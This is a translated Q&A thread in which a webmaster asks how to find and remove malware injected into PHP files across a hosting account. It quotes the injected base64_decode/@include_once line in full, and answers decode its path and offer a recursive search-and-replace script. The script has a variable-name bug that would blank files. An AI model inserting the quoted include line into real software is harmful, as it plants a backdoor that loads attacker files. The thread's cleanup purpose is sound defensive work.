Код для поиска определенного кода любого файла в каталоге и подкаталоге

Хорошо, я новичок в php, но я знаю, что он может читать каталоги и файлы.

Я боролся с проблемой вредоносного ПО на одном из наших сайтов, и мне нужно написать скрипт для его поиска на моем хост-пространстве.

Код, который хакеры помещают в файлы,

*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>

Я понятия не имею, что это такое, но Google блокирует мой сайт, когда это появляется.

Я должен загрузить все файлы, затем найти их в Dreamweaver, заменить эту хрень пробелом и вернуть обратно.

Мне нужен скрипт, чтобы обнаружить это до того, как это сделает Google.

Если кто-нибудь может дать мне несколько указателей, это будет здорово

Я уверен, что это проблема, с которой каждый столкнется сейчас или позже.


person mindmyweb    schedule 11.05.2011    source источник
comment
в отдельной файловой эхо-базе декодируйте $DUOIEK, чтобы увидеть, что они пытались сделать   -  person Ibu    schedule 11.05.2011
comment
Использование поиска и замены в Dreamweaver   -  person Gordon    schedule 11.05.2011
comment
Одно предложение... Постарайтесь убедиться, что это никогда не повторится, и я тоже сталкивался с этой вредоносной программой... и это было связано с FTP-клиентом (cuteFTP), который я использовал. Я сохранил пароль в этом. всякий раз, когда я подключаюсь к серверу, он добавляет этот фрагмент кода во все файлы index.php. поэтому измените свой пароль и очистите свою систему.   -  person Muhammad Ummar    schedule 11.05.2011
comment
Я также испытал это, скорее всего, из-за файлового менеджера в osCommerce.   -  person Joshua - Pendo    schedule 13.05.2011


Ответы (3)


Чистое PHP-решение, которое найдет и заменит предоставленную вами строку. Кроме того, вы можете просто получить файлы, которые были изменены. Примечание: если вы используете этот код, есть вариант ОТМЕНА НЕТ, вы используете его на свой страх и риск.

$dir = '/your_dir/';
$searchstring = '*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>'

$iterator = new RecursiveDirectoryIterator($dir);

foreach (new RecursiveIteratorIterator($iterator) as $filename => $cur) 
{
    // Search and replace

    $contents = file_get_contents($filename);   
    $contents = str_replace($searchstring, ' ', $content);  
    file_put_contents($filename, $contents);

    // Alternatively, you can do this (instead of search and replace)

    if(strpos($contents, $searchstring) !== false)
    {
        $infected[] = $filename; // gives you an array that gives you paths to files that contain the injected code.
    }
}

Вы можете запустить скрипт либо из браузера, либо из командной строки. Я не говорю, что это лучший вариант, т.

person Michael J.V.    schedule 11.05.2011
comment
Добавить функцию отмены было бы не так сложно ;-) Просто напишите файл filename.php.bck с содержимым, которое вы получили перед заменой всего. - person Joshua - Pendo; 13.05.2011

Загрузите все с вашего FTP и запустите поиск и замену для полного каталога (dreamweaver поддерживает полные каталоги). У меня тоже была эта проблема однажды, возможно, вы захотите поискать хаки javascript в своем коде, они, как правило, также включают javascript.

Код взлома пытается включить этот файл:

/home/users/web/b1643/sl.thechess/public_html/MedcourtBackupoct2007/MedcourtBackupoct2007-2/b2b customer/Bubblepost Back up/public_html/Backups/Mediasuface 2005/Help and documentation/java api/JavaAPI/com/mediasurface/datatypes/searching/class-use/tsdeo.php

Что это такое? Я не знаю, но это то, что он пытается сделать. Таким образом, вы можете подумать, что этот взлом был сделан изнутри сервера, на котором вы размещены, я думаю.

person Joshua - Pendo    schedule 11.05.2011
comment
да, я преобразовал базовый код и обнаружил, что файл открывает список перенаправлений, что-то вроде заспамленной страницы поиска. Я удаляю весь файл medcourtBackupoct, а затем попробую сценарий выше. Я сделал загрузку и замену по крайней мере 3 раза, это хост на 5 ГБ, и мне нужно очистить все, что возвращается через месяц. Этот файл может быть причиной этого. В папке было еще 2 файла. Спасибо - person mindmyweb; 13.05.2011

Если у вас есть доступ по SSH, вы можете использовать такую ​​команду, как это просто замените "eval(base64_decode" на "base64_decode".

Если нет, вам нужно написать скрипт, который выполняет рекурсивный цикл по всем вашим файлам с помощью readdir, а затем используйте магию strpos для обнаружения " base64_decode".

И если у вас действительно есть проблемы, я бы порекомендовал сторонний сервис, такой как sucuri.

Удачи!

person fire    schedule 11.05.2011
comment
Да, это направляет меня на правильный путь. Я пытался установить стороннюю службу, такую ​​как блокировка сайта, но это ерунда, они просят 20 долларов США за очистку 1 файла. Только действительно глупый человек будет платить столько. - person mindmyweb; 13.05.2011